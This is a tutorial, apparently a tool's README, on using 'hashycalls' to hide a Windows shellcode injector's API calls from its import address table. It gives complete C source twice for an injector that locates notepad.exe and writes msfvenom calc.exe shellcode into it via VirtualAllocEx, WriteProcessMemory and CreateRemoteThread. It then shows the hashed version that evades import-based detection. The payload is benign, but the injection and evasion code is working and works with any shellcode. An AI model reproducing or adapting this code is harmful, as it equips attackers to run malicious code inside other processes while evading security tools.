# Writing a basic injector with Hashycalls
This is a tutorial to demonstrate how hashycalls can be implemented in a basic injector to hide its malicious function calls from the final executables import address table.

## Step 0; Architecting our injector
We'll need to choose how our injector will function. For this example, the injector will enumerate the processes on the host, locate the notepad process & inject some calculator shellcode into it.

###### injector.c

```c
# include <windows.h>
# include <tlhelp32.h>
# define TARGET_PROCESS L"notepad.exe"
int main()
{
    /* msf calc.exe */
	char shellcode[] = {
		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
		0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
		0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
		0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
		0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
		0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
		0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
		0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
		0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
		0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
		0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
		0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
		0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
		0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
		0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
		0x65, 0x78, 0x65, 0x00
	};
	PROCESSENTRY32W Process			= { .dwSize = sizeof( PROCESSENTRY32W ) };
	HANDLE			hSnapshot		= CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ),
					hProcess		= 0,
					hThread			= 0;
	PVOID			pShellcode		= 0;
	SIZE_T			BytesWritten	= 0;
	DWORD			OldProtection	= 0;
	Process32First( hSnapshot, &Process );
	do 
	{
		if ( Process.th32ProcessID && Process.szExeFile ) 
		{
			if (wcscmp(Process.szExeFile, TARGET_PROCESS) == 0)
			{
				hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID );
			}
		}
	} while ( Process32Next( hSnapshot, &Process ) );
	if ( !hProcess )
		return -1;
	pShellcode = VirtualAllocEx( hProcess, 0, sizeof( shellcode ), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
	WriteProcessMemory( hProcess, pShellcode, shellcode, sizeof( shellcode ), &BytesWritten );
	VirtualProtectEx( hProcess, pShellcode, sizeof( shellcode ), PAGE_EXECUTE_READ, &OldProtection );
	hThread = CreateRemoteThread( hProcess, 0, 0, ( LPTHREAD_START_ROUTINE )pShellcode, 0, 0, 0);
	WaitForSingleObject( hThread, INFINITE );
	CloseHandle( hProcess );
	CloseHandle( hThread );
	return 0;
}
```

After we've written the injector, we'll need to identify the required api calls and feed them to hashycalls.

For process enumeration, we'll need the following api calls:
- CreateToolhelp32Snapshot
- Process32FirstW
- Process32NextW
- wcscmp

For injection, we'll need:
- OpenProcess
- VirtualAllocEx
- VirtualProtectEx
- WriteProcessMemory
- CreateRemoteThread
- WaitForSingleObject
- CloseHandle


At this stage, the compiled injector has our malicious api calls exposed in the import address table. This can be verifed by dumping the imports with a tool like dumpbin.

###### Dumping the exposed functions from the import address table
![exposed](../../img/dumpbin-iat-exposed.png)

## Step 1; Generating the template
In step 0, we identified the required api calls. Lets run the command below to generate a template for them.

```
hashycalls --apicalls CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, wcscmp, OpenProcess, VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, CreateRemoteThread, WaitForSingleObject, CloseHandle --quiet --debug --globals
```

This command will suppress the configuration output (--quiet), enable debugging statemtents (--debug) and enable global access to the hashed api (--globals).

![generating api calls](../../img/generating-api-calls.png)

## Step 2; Writing the injector with the template

Now we're ready to convert the injector with the hashycalls template. Accessing the function calls can be done in one of two ways. The intended way is with the **EXEC** macro. This macro accepts two arguments, the module & corresponding function call -> **EXEC( Kernel32, OpenProcess )**. Alternatively, you can access the function in the structure itself directly using syntax **API_VAR_NAME->Module.Function**. The default api variable name is **hWin32**. To run OpenProcess, the syntax would be **hWin32->Kernel32.OpenProcess**. For reference, the **EXEC** macro is just a macro for the latter.

###### Invoking hashed OpenProcess function call example 
| Method | Example |
| - | - |
| Macro | EXEC( Kernel32, OpenProcess ) ( PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID );
| Direct Invocation | hWin32->Kernel32.OpenProcess( PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID );

At this time, developers will need to manually adjust their current source code to include this syntax. In the future, hashycalls may have a feature to overwrite targeted functions with the correct syntax for execution.

###### injector-hashed.c
```c
# include <windows.h>
# include <tlhelp32.h>
# include "hashycalls.h"

# define TARGET_PROCESS L"notepad.exe"

int main()
{
    /* msf calc.exe */
	char shellcode[] = {
		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
		0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
		0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
		0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
		0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
		0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
		0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
		0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
		0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
		0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
		0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
		0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
		0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
		0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
		0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
		0x65, 0x78, 0x65, 0x00
	};
	
    PROCESSENTRY32W Process			= { .dwSize = sizeof( PROCESSENTRY32W ) };
	HANDLE			hSnapshot		= 0,
					hProcess		= 0,
					hThread			= 0;
	PVOID			pShellcode		= 0;
	SIZE_T			BytesWritten	= 0;
	DWORD			OldProtection	= 0;
	
    if (!InitApiCalls())
		return -1;
	
    hSnapshot = EXEC( Kernel32, CreateToolhelp32Snapshot ) ( TH32CS_SNAPPROCESS, 0 );
	EXEC( Kernel32, Process32FirstW ) ( hSnapshot, &Process );
	
    do 
	{
		if ( Process.th32ProcessID && Process.szExeFile ) 
		{
			if ( EXEC( Ntdll, wcscmp ) (Process.szExeFile, TARGET_PROCESS ) == 0 )
			{
				hProcess = EXEC( Kernel32, OpenProcess ) ( PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID );
			}
		}
	} while ( EXEC( Kernel32, Process32NextW ) ( hSnapshot, &Process ) );
	
    if ( !hProcess )
		return -1;

	pShellcode = EXEC( Kernel32, VirtualAllocEx ) ( hProcess, 0, sizeof( shellcode ), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
	EXEC( Kernel32, WriteProcessMemory ) ( hProcess, pShellcode, shellcode, sizeof( shellcode ), &BytesWritten );
	EXEC( Kernel32, VirtualProtectEx ) ( hProcess, pShellcode, sizeof( shellcode ), PAGE_EXECUTE_READ, &OldProtection );
	hThread = EXEC( Kernel32, CreateRemoteThread ) ( hProcess, 0, 0, ( LPTHREAD_START_ROUTINE )pShellcode, 0, 0, 0);
	EXEC( Kernel32, WaitForSingleObject( hThread, INFINITE ) );
	EXEC( Kernel32, CloseHandle( hProcess ) );
	EXEC( Kernel32, CloseHandle( hThread ) );
	return 0;
}
```

Once the binary is compiled, we can dump the imports & parse for the malicious api calls again. No output is returned since the functions are not listed in the import address table. 

###### No functions are returned from dumpbin
![dumpbin-iat-hidden](../../img/dumpbin-iat-hidden.png)

For further verification, we can check the import address table with CFF Explorer. Notice how none of the API calls are listed in the import address table under KERNEL32.dll.

![alt text](../../img/cff-explorer-iat.png)

Finally, we spawn a notepad process & run the hashed injector to verify it's still working after the conversion. The debug statements confirm the function hashes were resolved to the correct address.

![alt text](../../img/injector-execution.gif)